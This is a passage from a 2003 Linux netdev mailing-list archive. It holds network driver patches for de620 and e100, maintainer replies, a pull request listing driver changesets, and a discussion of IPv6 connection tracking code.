@@ else printk(" UTP)\n"); - /* Initialize the device structure. */ - dev->priv = &de620_netstats; - - memset(dev->priv, 0, sizeof(struct net_device_stats)); dev->get_stats = get_stats; dev->open = de620_open; dev->stop = de620_close; @@ -884,8 +892,6 @@ /* base_addr and irq are already set, see above! */ - ether_setup(dev); - /* dump eeprom */ if (de620_debug) { printk("\nEEPROM contents:\n"); @@ -899,7 +905,17 @@ printk("SCR = 0x%02x\n", nic_data.SCR); } - return 0; + err = register_netdev(dev); + if (err) + goto out2; + return dev; + +out2: + release_region(dev->base_addr, 3); +out1: + free_netdev(dev); +out: + return ERR_PTR(err); } /********************************** @@ -994,20 +1010,21 @@ * */ #ifdef MODULE -static struct net_device de620_dev; +static struct net_device *de620_dev; int init_module(void) { - de620_dev.init = de620_probe; - if (register_netdev(&de620_dev) != 0) - return -EIO; + de620_dev = de620_probe(-1); + if (IS_ERR(de620_dev)) + return PTR_ERR(de620_dev); return 0; } void cleanup_module(void) { - unregister_netdev(&de620_dev); - release_region(de620_dev.base_addr, 3); + unregister_netdev(de620_dev); + release_region(de620_dev->base_addr, 3); + free_netdev(de620_dev); } #endif /* MODULE */ MODULE_LICENSE("GPL"); From jgarzik@pobox.com Thu Sep 25 17:42:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 17:42:07 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q0g2Fx015393 for ; Thu, 25 Sep 2003 17:42:03 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33132 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A2gg1-0006Mf-M6; Fri, 26 Sep 2003 01:41:41 +0100 Message-ID: <3F738B3B.2010608@pobox.com> Date: Thu, 25 Sep 2003 20:41:31 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: Thomas Sailer , linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] (1/4) Update baycom drivers for 2.6 References: <20030919133750.4053f72c.shemminger@osdl.org> In-Reply-To: <20030919133750.4053f72c.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 265 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 37 Lines: 3 patches 1-3 in this series applied From jgarzik@pobox.com Thu Sep 25 17:42:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 17:42:34 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q0gTFx015488 for ; Thu, 25 Sep 2003 17:42:30 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33133 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A2ggm-0006N6-Rz; Fri, 26 Sep 2003 01:42:28 +0100 Message-ID: <3F738B6A.7060903@pobox.com> Date: Thu, 25 Sep 2003 20:42:18 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] (1/6) revised network device probing. References: <20030925171037.18854ac3.shemminger@osdl.org> In-Reply-To: <20030925171037.18854ac3.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 266 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 187 Lines: 7 none of this series applied successfully. Why don't you hold off for a couple days, let me flush the current queue to Linus, and then rediff against the latest Linus -bkXX snapshot. From jgarzik@pobox.com Thu Sep 25 17:46:14 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 17:46:18 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q0kDFx016033 for ; Thu, 25 Sep 2003 17:46:14 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33137 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A2gkO-0006T5-EV; Fri, 26 Sep 2003 01:46:12 +0100 Message-ID: <3F738C4A.2000003@pobox.com> Date: Thu, 25 Sep 2003 20:46:02 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Paul Gortmaker CC: netdev@oss.sgi.com, becker@scyld.com Subject: Re: [PATCH] ne2k-pci full duplex with RealTek References: <3F6FA043.6010503@yahoo.com> In-Reply-To: <3F6FA043.6010503@yahoo.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 267 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 39 Lines: 2 all three ne2k patches applied to 2.6 From scott.feldman@intel.com Thu Sep 25 18:17:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 18:17:08 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q1H0Fx016530 for ; Thu, 25 Sep 2003 18:17:01 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8Q1EXN19693 for ; Fri, 26 Sep 2003 01:14:33 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8Q1BVQ18735 for ; Fri, 26 Sep 2003 01:11:32 GMT Received: from [134.134.3.171] ([134.134.3.171]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092518165319268 ; Thu, 25 Sep 2003 18:16:53 -0700 Date: Thu, 25 Sep 2003 18:44:34 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e100 2.6 1/3] PRO/10+ not configured properly Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 268 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1810 Lines: 43 * PRO/10+ (10 Mbps-only card) was not configured properly so it didn't pass traffic. ----------------- diff -Naurp net-drivers-2.5/drivers/net/e100/e100_config.c net-drivers-2.5/drivers/net/e100.mod/e100_config.c --- net-drivers-2.5/drivers/net/e100/e100_config.c 2003-09-24 20:33:44.000000000 -0700 +++ net-drivers-2.5/drivers/net/e100.mod/e100_config.c 2003-09-24 20:34:04.000000000 -0700 @@ -60,7 +60,7 @@ static const u8 def_config[] = { * All other init functions will only set values that are * different from the 82557 default. */ -static void __devinit +void __devinit e100_config_init_82557(struct e100_private *bdp) { /* initialize config block */ diff -Naurp net-drivers-2.5/drivers/net/e100/e100_config.h net-drivers-2.5/drivers/net/e100.mod/e100_config.h --- net-drivers-2.5/drivers/net/e100/e100_config.h 2003-09-24 20:33:44.000000000 -0700 +++ net-drivers-2.5/drivers/net/e100.mod/e100_config.h 2003-09-24 20:34:09.000000000 -0700 @@ -151,6 +151,7 @@ /* function prototypes */ extern void e100_config_init(struct e100_private *bdp); +extern void e100_config_init_82557(struct e100_private *bdp); extern unsigned char e100_force_config(struct e100_private *bdp); extern unsigned char e100_config(struct e100_private *bdp); extern void e100_config_fc(struct e100_private *bdp); diff -Naurp net-drivers-2.5/drivers/net/e100/e100_main.c net-drivers-2.5/drivers/net/e100.mod/e100_main.c --- net-drivers-2.5/drivers/net/e100/e100_main.c 2003-09-24 20:33:44.000000000 -0700 +++ net-drivers-2.5/drivers/net/e100.mod/e100_main.c 2003-09-24 20:34:20.000000000 -0700 @@ -1404,6 +1404,9 @@ e100_hw_init(struct e100_private *bdp) bdp->flags |= DF_UCODE_LOADED; } + if ((u8) bdp->rev_id < D101A4_REV_ID) + e100_config_init_82557(bdp); + if (!e100_config(bdp)) goto err; From scott.feldman@intel.com Thu Sep 25 18:18:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 18:18:57 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q1IqFx016847 for ; Thu, 25 Sep 2003 18:18:53 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8Q1GPN20371 for ; Fri, 26 Sep 2003 01:16:25 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8Q1DOQ19438 for ; Fri, 26 Sep 2003 01:13:24 GMT Received: from [134.134.3.171] ([134.134.3.171]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092518184609011 ; Thu, 25 Sep 2003 18:18:46 -0700 Date: Thu, 25 Sep 2003 18:46:27 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e100 2.6 2/3] trying to pci_alloc before pci_enable Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 269 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1573 Lines: 58 * Some archs don't like calling pci_alloc_consistent before calling pci_enable_device. (Imagine that). This corrects that. ----------------- diff -Naurp net-drivers-2.5/drivers/net/e100/e100_main.c net-drivers-2.5/drivers/net/e100.mod/e100_main.c --- net-drivers-2.5/drivers/net/e100/e100_main.c 2003-09-24 20:34:20.000000000 -0700 +++ net-drivers-2.5/drivers/net/e100.mod/e100_main.c 2003-09-24 20:34:49.000000000 -0700 @@ -584,10 +584,6 @@ e100_found1(struct pci_dev *pcid, const pci_set_drvdata(pcid, dev); SET_NETDEV_DEV(dev, &pcid->dev); - if ((rc = e100_alloc_space(bdp)) != 0) { - goto err_dev; - } - bdp->flags = 0; bdp->ifs_state = 0; bdp->ifs_value = 0; @@ -604,7 +600,11 @@ e100_found1(struct pci_dev *pcid, const bdp->watchdog_timer.function = (void *) &e100_watchdog; if ((rc = e100_pci_setup(pcid, bdp)) != 0) { - goto err_dealloc; + goto err_dev; + } + + if ((rc = e100_alloc_space(bdp)) != 0) { + goto err_pci; } if (((bdp->pdev->device > 0x1030) @@ -649,7 +649,7 @@ e100_found1(struct pci_dev *pcid, const NETIF_F_HW_VLAN_TX | NETIF_F_HW_VLAN_RX; if ((rc = register_netdev(dev)) != 0) { - goto err_pci; + goto err_dealloc; } e100_check_options(e100nics, bdp); @@ -700,12 +700,12 @@ e100_found1(struct pci_dev *pcid, const err_unregister_netdev: unregister_netdev(dev); +err_dealloc: + e100_dealloc_space(bdp); err_pci: iounmap(bdp->scb); pci_release_regions(pcid); pci_disable_device(pcid); -err_dealloc: - e100_dealloc_space(bdp); err_dev: pci_set_drvdata(pcid, NULL); kfree(dev); From scott.feldman@intel.com Thu Sep 25 18:20:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 18:20:48 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q1KhFx017167 for ; Thu, 25 Sep 2003 18:20:44 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8Q1IGN20915 for ; Fri, 26 Sep 2003 01:18:16 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8Q1FFQ20091 for ; Fri, 26 Sep 2003 01:15:15 GMT Received: from [134.134.3.171] ([134.134.3.171]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092518203717000 ; Thu, 25 Sep 2003 18:20:37 -0700 Date: Thu, 25 Sep 2003 18:48:18 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e100 2.6 3/3] h/w can't do IPv6 checksum offloading Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 270 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 2811 Lines: 67 * Driver was advertising HW_CSUM, but hardware is only capable of IP_CSUM. ----------- diff -Naurp net-drivers-2.5/drivers/net/e100/e100_main.c net-drivers-2.5/drivers/net/e100.mod/e100_main.c --- net-drivers-2.5/drivers/net/e100/e100_main.c 2003-09-24 20:34:50.000000000 -0700 +++ net-drivers-2.5/drivers/net/e100.mod/e100_main.c 2003-09-24 20:35:14.000000000 -0700 @@ -46,7 +46,13 @@ /* Change Log * - * 2.3.18 07/08/03 + * 2.3.30 09/21/03 + * o Bug fix (Bugzilla 97908): Loading e100 was causing crash on Itanium2 + * with HP chipset + * o Bug fix (Bugzilla 101583): e100 can't pass traffic with ipv6 + * o Bug fix (Bugzilla 101360): PRO/10+ can't pass traffic + * + * 2.3.27 08/08/03 * o Bug fix: read skb->len after freeing skb * [Andrew Morton] akpm@zip.com.au * o Bug fix: 82557 (with National PHY) timeout during init @@ -54,24 +60,6 @@ * o Feature add: allow to change Wake On LAN when EEPROM disabled * * 2.3.13 05/08/03 - * o Feature remove: /proc/net/PRO_LAN_Adapters support gone completely - * o Feature remove: IDIAG support (use ethtool -t instead) - * o Cleanup: fixed spelling mistakes found by community - * o Feature add: ethtool cable diag test - * o Feature add: ethtool parameter support (ring size, xsum, flow ctrl) - * o Cleanup: move e100_asf_enable under CONFIG_PM to avoid warning - * [Stephen Rothwell (sfr@canb.auug.org.au)] - * o Bug fix: don't call any netif_carrier_* until netdev registered. - * [Andrew Morton (akpm@digeo.com)] - * o Cleanup: replace (skb->len - skb->data_len) with skb_headlen(skb) - * [jmorris@intercode.com.au] - * o Bug fix: cleanup of Tx skbs after running ethtool diags - * o Bug fix: incorrect reporting of ethtool diag overall results - * o Bug fix: must hold xmit_lock before stopping queue in ethtool - * operations that require reset h/w and driver structures. - * o Bug fix: statistic command failure would stop statistic collection. - * - * 2.2.21 02/11/03 */ #include @@ -137,7 +125,7 @@ static void e100_non_tx_background(unsig static inline void e100_tx_skb_free(struct e100_private *bdp, tcb_t *tcb); /* Global Data structures and variables */ char e100_copyright[] __devinitdata = "Copyright (c) 2003 Intel Corporation"; -char e100_driver_version[]="2.3.18-k1"; +char e100_driver_version[]="2.3.30-k1"; const char *e100_full_driver_name = "Intel(R) PRO/100 Network Driver"; char e100_short_driver_name[] = "e100"; static int e100nics = 0; @@ -645,7 +633,7 @@ e100_found1(struct pci_dev *pcid, const dev->do_ioctl = &e100_ioctl; if (bdp->flags & USE_IPCB) - dev->features = NETIF_F_SG | NETIF_F_HW_CSUM | + dev->features = NETIF_F_SG | NETIF_F_IP_CSUM | NETIF_F_HW_VLAN_TX | NETIF_F_HW_VLAN_RX; if ((rc = register_netdev(dev)) != 0) { From garzik@gtf.org Thu Sep 25 18:35:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 18:35:37 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q1ZHFx017625 for ; Thu, 25 Sep 2003 18:35:18 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id 13BBE666C; Thu, 25 Sep 2003 21:02:19 -0400 (EDT) Date: Thu, 25 Sep 2003 21:02:19 -0400 From: Jeff Garzik To: torvalds@osdl.org Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: [bk patches] 2.6.x net driver updates Message-ID: <20030926010218.GA32679@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 271 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 9000 Lines: 257 Linus, please do a bk pull bk://kernel.bkbits.net/jgarzik/net-drivers-2.5 This will update the following files: drivers/net/wireless/arlan.c | 2078 ------------------------------ Documentation/networking/sk98lin.txt | 140 -- drivers/net/3c503.c | 9 drivers/net/3c509.c | 9 drivers/net/8390.c | 11 drivers/net/Kconfig | 170 -- drivers/net/ac3200.c | 10 drivers/net/appletalk/Kconfig | 6 drivers/net/arcnet/Kconfig | 40 drivers/net/e2100.c | 10 drivers/net/hamradio/Kconfig | 41 drivers/net/hamradio/baycom_epp.c | 79 - drivers/net/hamradio/baycom_par.c | 57 drivers/net/hamradio/baycom_ser_fdx.c | 60 drivers/net/hamradio/baycom_ser_hdx.c | 57 drivers/net/hamradio/hdlcdrv.c | 90 - drivers/net/hp-plus.c | 11 drivers/net/hp.c | 11 drivers/net/ne.c | 9 drivers/net/ne2.c | 8 drivers/net/ne2k-pci.c | 49 drivers/net/ne2k_cbus.c | 55 drivers/net/pcmcia/Kconfig | 69 - drivers/net/saa9730.c | 201 ++ drivers/net/saa9730.h | 1 drivers/net/sk98lin/h/skdrv1st.h | 7 drivers/net/sk98lin/h/skdrv2nd.h | 24 drivers/net/sk98lin/h/skgeinit.h | 19 drivers/net/sk98lin/h/sktypes.h | 7 drivers/net/sk98lin/h/skversion.h | 31 drivers/net/sk98lin/skdim.c | 18 drivers/net/sk98lin/skge.c | 350 +++-- drivers/net/sk98lin/skproc.c | 325 +--- drivers/net/smc-ultra.c | 13 drivers/net/tlan.c | 7 drivers/net/tokenring/Kconfig | 66 drivers/net/tulip/Kconfig | 48 drivers/net/wan/Kconfig | 111 - drivers/net/wd.c | 10 drivers/net/wireless/Kconfig | 32 drivers/net/wireless/Makefile | 4 drivers/net/wireless/arlan-main.c | 2329 +++++++++++++++++++++++++++++++--- drivers/net/wireless/arlan-proc.c | 25 drivers/net/wireless/arlan.h | 106 - drivers/net/wireless/atmel.c | 2 drivers/net/wireless/atmel_cs.c | 4 include/linux/hdlcdrv.h | 1 47 files changed, 3157 insertions(+), 3663 deletions(-) through these ChangeSets: (03/09/25 1.1357) [PATCH] [PATCH 2.6.0-test1] remove check_region from drivers_net_3c509.c From: Domen Puncer (03/09/25 1.1356) [PATCH] saa9730 (minor revision) Don't know if the patch I released few days ago was still applied. This is a minor revision of that patch which converts saa9730 to spinlocks thus removing save_and_cli() and restore_flags() calls. Regards, Angelo Dell'Aera (03/09/25 1.1355) [PATCH] - atmel wireless driver This does two things: 1) Fix alignment problem on PARISC64 (and maybe other 64bit archs.) 2) Add another couple of cards to the table. Cheers, Simon. (03/09/25 1.1354) [PATCH] Remove emacs cruft from 8390 drivers (03/09/25 1.1353) [PATCH] ne2k_cbus tidy up (03/09/25 1.1352) [PATCH] ne2k-pci full duplex with RealTek (03/09/25 1.1351) [PATCH] (3/4) baycom/hdlcdrv unregister If baycom driver has never been opened, it will attempt to free an IRQ that it never registered when removed. The problem is that hdlcdrv does not keep track of open/close state. (03/09/25 1.1350) [PATCH] (2/4) baycom c99 initializers (03/09/25 1.1349) [PATCH] (1/4) Update baycom drivers for 2.6 Update baycom drivers for 2.6.0-test5 - get rid of MOD_INC/DEC (looked into hdlcdrv_ops and don't need to have owner field because baycom drivers unregister on unload). - use alloc_netdev instead of static device structures. - hdlcdrv_register returns device instead of getting passed one. - put private data in space allocated at dev->priv in alloc_netdev - shorten name of hdlcdrv_register_hdlcdrv to hdlcdrv_register I don't have actual baycom hardware, but driver builds and loads/unloads. Real hardware initialization doesn't happen until open. The first one is the important patch, the other three are just code review type cleanups. (03/09/25 1.1325.8.23) [PATCH] Remove modules.txt drivers_net_pcmcia_Kconfig From: Nicolas Kaiser (03/09/25 1.1325.8.22) [PATCH] Remove modules.txt drivers_net_wan_Kconfig From: Nicolas Kaiser (03/09/25 1.1325.8.21) [PATCH] Remove modules.txt drivers_net_tokenring_Kconfig From: Nicolas Kaiser (03/09/25 1.1325.8.20) [PATCH] Remove modules.txt drivers_net_hamradio_Kconfig From: Nicolas Kaiser Cheers, n. (03/09/25 1.1325.8.19) [PATCH] Remove modules.txt drivers_net_arcnet_Kconfig From: Nicolas Kaiser (03/09/25 1.1325.8.18) [PATCH] Remove modules.txt drivers_net_wireless_Kconfig From: Nicolas Kaiser (03/09/25 1.1325.8.17) [PATCH] Remove modules.txt drivers_net_tulip_Kconfig From: Nicolas Kaiser (03/09/25 1.1325.8.16) [PATCH] Remove modules.txt drivers_net_appletalk_Kconfig From: Nicolas Kaiser (03/09/25 1.1325.8.15) [netdrvr sk98lin] fix leaks on error, and related cleanups (03/09/25 1.1325.8.14) [netdrvr sk98lin] bump version number (03/09/25 1.1325.8.13) [netdrvr sk98lin] small fixes Patch 3/5 (Update to version 6.17) * Add: Removed SkNumber and SkDoDiv * Add: Counter output as (unsigned long long) (03/09/25 1.1325.8.12) [netdrvr sk98lin] update readme, remove old changelog (03/09/25 1.1325.8.11) [netdrvr sk98lin] small updates Patch 1/5 (Update to version 6.17) * Add: Better parameter check * Add: UDP and TCP HW Csum changes * Add: Interrupt Moderation infos (03/09/25 1.1325.8.10) [PATCH] (8/8) arlan -- proper jiffies usage Add proper management of jiffies and time values, rather than punting and doing long long arithmetic on usecs. (03/09/25 1.1325.8.9) [PATCH] (7/8) arlan -- more dead wood removal Still more driver data which was updated but never used. (03/09/25 1.1325.8.8) [PATCH] (6/8) arlan -- add spinlock Convert bogus test_and_set local wait, to a real spin_lock so it has a chance of working on an SMP. This also does the right thing and locks out interrupts while giving commands on UP; maybe the comment in Kconfig was because there was never a proper mutex... Don't have real hardware to try this, but it can't be worse than the previous code. (03/09/25 1.1325.8.7) [PATCH] (5/8) arlan -- more set never used elements Still more places state is saved and never used. (03/09/25 1.1325.8.6) [PATCH] (4/8) arlan -- trailing semicolons. Get rid of extra trailing semicolons (03/09/25 1.1325.8.5) [PATCH] (3/8) arlan -- get rid of unnecessary casts. Get rid of unneeded casts to cleanup readability. (03/09/25 1.1325.8.4) [PATCH] (2/8) arlan -- get rid of some dead wood This code is littered with unused structure elements and globals. Eliminate some of the fields set and never used. More in later patches. (03/09/25 1.1325.8.3) [PATCH] (1/8) arlan -- merge arlan-proc with main code The arlan driver tries to build it's /proc interface into a separate module, which leads to circular dependencies and other ugliness. This patch moves arlan.c to arlan-main.c and changes initialization builds one module arlan.o Patch is for 2.6.0-test5 (03/09/24 1.1325.8.2) [netdrvr tlan] netif_carrier_* support (03/09/24 1.1325.8.1) [netdrvr sk98lin] Remove useless configure options here is a new version of the sk98lin driver (v6.18) with some changes for kernel 2.6.0-test4. This is a diff between the latest patched kernel version with sk98lin driver v6.17. Patch 1/3 * Remove bogus config stuff From yasuyuki.kozakai@toshiba.co.jp Thu Sep 25 20:55:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 20:55:29 -0700 (PDT) Received: from inet-tsb.toshiba.co.jp (inet-tsb.toshiba.co.jp [202.33.96.40]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q3tJFx028930 for ; Thu, 25 Sep 2003 20:55:20 -0700 Received: from tsb-wall.toshiba.co.jp ([133.199.160.134]) by inet-tsb.toshiba.co.jp with ESMTP id h8Q3sPon005611; Fri, 26 Sep 2003 12:54:25 +0900 (JST) Received: (from root@localhost) by tsb-wall.toshiba.co.jp id h8Q3sP6s015936; Fri, 26 Sep 2003 12:54:25 +0900 (JST) Received: from tis2 [133.199.160.66] by tsb-wall.toshiba.co.jp with SMTP id NAA15932 ; Fri, 26 Sep 2003 12:54:25 +0900 Received: from mx4.toshiba.co.jp by tis2.tis.toshiba.co.jp id MAA20044; Fri, 26 Sep 2003 12:54:23 +0900 (JST) Received: by toshiba.co.jp id MAA29078; Fri, 26 Sep 2003 12:54:22 +0900 (JST) Date: Fri, 26 Sep 2003 12:54:21 +0900 (JST) Message-Id: <200309260354.MAA29078@toshiba.co.jp> To: kisza@securityaudit.hu Cc: yasuyuki.kozakai@toshiba.co.jp, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [Patch]: IPv6 Connection Tracking From: Yasuyuki Kozakai In-Reply-To: <1064515680.995.41.camel@localhost> References: <200309250521.OAA29293@toshiba.co.jp> <1064515680.995.41.camel@localhost> X-Mailer: Mew version 3.3 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 272 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yasuyuki.kozakai@toshiba.co.jp Precedence: bulk X-list: netdev Content-Length: 3449 Lines: 85 Hi, Andras, From: Andras Kis-Szabo Subject: Re: [Patch]: IPv6 Connection Tracking Date: 25 Sep 2003 20:48:01 +0200 kisza> I have used an own 'external header skipper' routine which was very kisza> close the the kernel's one. So I would like to update the netfilter code kisza> to use the kernel's function. For this, we have to export the kisza> ipv6_skip_exthdr() function from net/ipv6/exthdrs.c . I have checked kisza> your code, too. It looks very close to the kernel's code. kisza> As I have noticed, the differences: kisza> - handling of the fragments No, ip6_ct_skip_exthdr() in my code may return NEXTHDR_NONE. I want to distinguish the packet with NEXTHDR_NONE and the packet with unknown extension header. I want to let "proto_generic" module to handle it. BTW, handling of the fragments is bug fix. "fhdr->frag_off" in ipv6_skip_exthdr() is out of area of "hdr". I thought that it's already reported but look like still not fixed... kisza> your code checks that the member of the extension are in the skb or kisza> not since the common part checks only the basic extension header size. kisza> After it your code linearizes the skb to cover the extension header. kisza> So, the kernel does not check the size and does not linearize. After kisza> these fixes the 2 codes will be similar. Excuse me, I don't understand which code you said about. find_prev_fhdr() ? This function finds previous header of fragment header. We can't use ipv6_skip_exthdr() to do this. Even though we can find offset of fragment header, we can't find offset of previous header because we can't parse extension header backwards. kisza> Would not be better to export the kernel's function and use the kisza> ipv6_skip_exthdr() in the netfilter codes? I think so about ip6_ct_skip_exthdr(). I'm going to delete this function from my patch if we don't need to distinguish packets with NEXTHDR_NONE and the packet with unknown extension header. and when the bug in ipv6_skip_exthdr() is fixed. kisza> My second commet is near this area. I have planned that an offset value kisza> which points after the last extension header and a variable which kisza> contain the last nexthdr value would be very helpful for the future - kisza> but I was too lazy to do this work. With the connection tracking this kisza> function (ipv6_skip_exthdr) will be called several time on the same kisza> packet (in the main kernel, at every LOG, at every match, at every ct, kisza> ...) With USAGI we could - probably - find the space for this 2 kisza> variable. Do you have any recommendation? I think we'd be better that extension header is parsed in L3 specific code at once, and the offset and the nexthdr value is passed the functions which need one as argument. This eases writing l3 independent codes in future. kisza> Your FTP code uses EPSV and EPRT from rfc2428. What's about the FOOBAR kisza> RFC (1639)? OK, it's a joke :) I want to think that's joke, too... kisza> Could we open an IPv4 data connection next to the IPv6 controll kisza> connection? You can't open even though you load ip_conntrack_ftp and ip6_conntrack_ftp. I don't want to allow that because I don't know what happens. Regards, ---------------------------------------- Yasuyuki KOZAKAI Communication Platform Laboratory, Corporate Research & Development Center, Toshiba Corporation yasuyuki.kozakai@toshiba.co.jp ---------------------------------------- From davem@pizda.ninka.net Thu Sep 25 21:01:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 21:01:43 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q41QFx029625 for ; 